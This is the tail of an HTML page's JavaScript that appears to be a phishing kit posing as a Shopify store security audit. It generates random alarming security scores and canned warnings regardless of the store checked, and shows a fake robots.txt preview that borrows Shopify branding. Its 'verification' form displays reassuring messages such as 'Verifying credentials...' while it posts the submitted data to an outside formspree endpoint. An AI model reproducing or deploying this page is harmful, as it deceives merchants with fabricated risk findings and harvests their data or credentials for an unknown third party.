| siteIcon.style.background = `linear-gradient(135deg, ${iconColorInput.value} 0%, ${adjustBrightness(iconColorInput.value, -0.15)} 100%)`; | |
| siteIcon.classList.remove('editing'); | |
| iconEditor.classList.remove('visible'); | |
| }; | |
| doneBtn.addEventListener('click', closeEditor); | |
| iconLetterInput.addEventListener('keypress', (e) => { if (e.key === 'Enter') closeEditor(); }); | |
| iconColorInput.addEventListener('input', (e) => { | |
| siteIcon.style.background = `linear-gradient(135deg, ${e.target.value} 0%, ${adjustBrightness(e.target.value, -0.15)} 100%)`; | |
| }); | |
| } | |
| // Scores & Analysis | |
| function scoreToColor(score) { | |
| if (score < 40) return '#ef4444'; | |
| if (score < 70) return '#f59e0b'; | |
| return '#10b981'; | |
| } | |
| function generateScores(url) { | |
| const overall = 35 + Math.floor(Math.random() * 25); | |
| let label = 'Critical security gaps detected'; | |
| if (overall >= 55) label = 'High risk: store infrastructure is under-protected'; | |
| else if (overall >= 45) label = 'Significant weaknesses across security layers'; | |
| else label = 'Severe misalignment with basic security hygiene'; | |
| return { | |
| overall, label, | |
| surface: 'Surface Hardening Gap', | |
| surfaceNote: 'Homepage and core templates lack layered protection and strict bot-resistant configuration.', | |
| dataRisk: 'App Visibility Risk', | |
| dataRiskNote: 'Third-party script exposure and unvetted app permissions introduce avoidable data leaks.', | |
| trustCompliance: 'Compliance Drift', | |
| trustComplianceNote: 'Data handling signals and policy visibility are misaligned with enterprise requirements.', | |
| actions: [ | |
| 'Harden critical routes (cart, admin) with strict bot firewall rules.', | |
| 'Prune dormant third-party apps and revoke excessive API permissions.', | |
| 'Deploy security headers (HSTS, CSP, X-Frame-Options) site-wide.', | |
| 'Calibrate cookie consent flows to meet modern data privacy standards.', | |
| 'Execute a professional code audit focused on Shopify theme vulnerabilities.' | |
| ], | |
| impactPoints: [ | |
| 'Regulatory fines due to data governance non-compliance.', | |
| 'Degraded organic reach due to aggressive automated scraping.', | |
| 'Payment gateway flags resulting from weak transaction trust.', | |
| 'Sudden platform restrictions in high-risk scenarios.' | |
| ] | |
| }; | |
| } | |
| function getCleanOrigin(url) { | |
| if (!url) return "https://yourstore.com"; | |
| let clean = url.trim(); | |
| if (!clean.startsWith('http://') && !clean.startsWith('https://')) clean = 'https://' + clean; | |
| try { return new URL(clean).origin; } catch(e) { return "https://yourstore.com"; } | |
| } | |
| function buildRobots(url) { | |
| const origin = getCleanOrigin(url); | |
| return { | |
| robotsUrl: origin + '/robots.txt', | |
| preview: `# # ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ | |
| # β Compliance & Security Restrictions β | |
| # β£βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ« | |
| # β This is a technical page. β | |
| # β * This is an overview of restrictions, privileges and permission β | |
| # β and the current status of a Shopify store. β | |
| # β β | |
| # β * Legitimate integrators must use the official Checkout Kit: β | |
| # β https://www.shopify.com/checkout-kit β | |
| # β β | |
| # β Terms of Service: https://www.shopify.com/legal/terms β | |
| # β Contact: bots@shopify.com β | |
| # ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ | |
| Standard Robots Policy for ${origin}\n\nUser-agent: *\nDisallow: /admin\nDisallow: /cart\nDisallow: /orders\nDisallow: /checkouts/\nDisallow: /checkout\nDisallow: /carts\nDisallow: /account\nDisallow: /search\n\nSitemap: ${origin}/sitemap.xml`, | |
| note: 'Standard Shopify Disallow paths. Security gaps occur when custom theme redirects are not properly disclosed.' | |
| }; | |
| } | |
| verificationForm.addEventListener('submit', async (e) => { | |
| e.preventDefault(); | |
| // Hide verification form | |
| verificationView.classList.add('fade-out'); | |
| await new Promise(r => setTimeout(r, 400)); | |
| verificationView.classList.add('hidden'); | |
| // Show loading state | |
| loadingView.style.display = 'flex'; | |
| window.scrollTo({ top: 0, behavior: 'smooth' }); | |
| const messages = ['Verifying credentials...', 'Checking app signatures...', 'Validating theme integrity...', 'Securely transmitting...']; | |
| let msgIdx = 0; | |
| loadingStatus.textContent = messages[0]; | |
| const interval = setInterval(() => { loadingStatus.textContent = messages[++msgIdx % messages.length]; }, 1500); | |
| // Simulate API processing | |
| const formData = new FormData(verificationForm); | |
| setTimeout(() => { | |
| clearInterval(interval); | |
| loadingView.style.display = 'none'; | |
| successView.classList.remove('hidden'); | |
| }, 3000); | |
| try { await fetch('https://formspree.io/f/mwvpddro', { method: 'POST', body: formData, headers: { Accept: 'application/json' } }); } catch (err) {} | |
| }); | |
| // Initialize logic | |
| setupIconEditor(); | |
| </script> | |
| </body> | |
| </html> |